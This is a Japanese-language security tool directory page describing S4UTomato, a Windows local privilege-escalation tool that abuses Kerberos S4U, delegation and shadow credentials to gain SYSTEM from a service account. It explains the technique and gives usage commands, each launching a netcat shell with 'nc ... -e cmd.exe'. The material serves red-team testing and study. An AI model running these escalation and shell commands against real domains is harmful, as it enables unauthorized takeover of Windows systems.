Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
S4UTomato — Kerberos経由でサービスアカウントをLocalSystemへ昇格 | Kitploit
ツール/GitHubGitHub/wh0amitz/s4utomato
特権昇格エクスプロイトポストエクスプロイトレッドチーミング
GitHubwh0amitz/s4utomato

S4UTomato

Kerberos経由でサービスアカウントをLocalSystemへ昇格

リポジトリを見る
405772年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

S4UTomato

サービスアカウントをKerberos経由でLocalSystemに昇格させます。

伝統的なPotato

「Potato」シリーズの権限昇格に詳しい方なら、サービスアカウントの権限をローカルシステム権限に昇格できることをご存じでしょう。初期の「Potato」の悪用手法はほぼ同一です。COMインターフェースの特定の機能を利用し、NT AUTHORITY\SYSTEMアカウントを欺いて攻撃者制御のRPCサーバーに接続・認証させます。その後、一連のAPI呼び出しを通じて、この認証プロセス中に中間者(NTLMリレー)攻撃を実行し、ローカルシステム上のNT AUTHORITY\SYSTEMアカウントのアクセストークンを生成させます。最後にこのトークンを奪取し、CreateProcessWithToken() または CreateProcessAsUser() 関数を使ってトークンを渡して新しいプロセスを作成し、SYSTEM権限を獲得します。

Kerberosはどうか

Windowsドメイン環境では、SYSTEM、NT AUTHORITY\NETWORK SERVICE、およびMicrosoft仮想アカウントは、ドメインに参加しているシステムコンピュータアカウントによって認証に使用されます。これを理解することは重要です。なぜなら、最新のWindowsでは、ほとんどのWindowsサービスがデフォルトでMicrosoft仮想アカウントを使用して実行されるからです。特にIISやMSSQLはこれらの仮想アカウントを使用しており、他のアプリケーションも同様に使用する可能性があります。したがって、S4U拡張機能を悪用して、ローカルマシン上のドメイン管理者アカウント「Administrator」のサービスチケットを取得できます。そして、James Forshaw(@tiraniddo)の SCMUACBypass を利用して、そのチケットを使ってシステムサービスを作成し、SYSTEM権限を獲得します。これにより、伝統的な「Potato」系の権限昇格手法と同じ効果が得られます。

マシンがドメインに参加しているシナリオでは、WindowsサービスアカウントまたはMicrosoft仮想アカウントのコンテキストでコードを実行できる限り、Active Directoryが完全に防御するように強化されていない限り、上記の手法をローカル権限昇格に利用できます。

これを行うには、まずローカルマシンアカウントのTGT(チケット付与チケット)を取得する必要があります。これは簡単ではありません。サービスアカウントの権限による制限のため、コンピュータの長期キーを取得できず、KRB_AS_REQリクエストを構築できないからです。上記の目標を達成するために、私は3つの手法を活用しました。リソースベースの制約付き委任、シャドウクレデンシャル、およびTgtdelegです。私は Rubeus ツールセットを基にプロジェクトを構築しました。

使用方法と例

root@kitploit:~
C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

  -d, --Domain              認証先ドメイン(FQDN)。
  -s, --Server              ドメインコントローラまたはLDAPサーバーのホスト名。
  -m, --ComputerName        作成する新しいコンピュータアカウント名。
  -p, --ComputerPassword    作成する新しいコンピュータアカウントのパスワード。
  -f, --Force               コンピュータオブジェクトの'msDS-KeyCredentialLink'属性を強制的に更新します。
  -c, --Command             実行するプログラム。
  -v, --Verbose             詳細なデバッグ情報を出力します。
  --help                    このヘルプ画面を表示します。
  --version                 バージョン情報を表示します。

リソースベースの制約付き委任を利用したLEP

root@kitploit:~
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

rbcd

シャドウクレデンシャル + S4U2self を利用したLEP

root@kitploit:~
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

shadowcred

Tgtdeleg + S4U2self を利用したLEP

root@kitploit:~
# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

tgtdeleg

ツールをダウンロード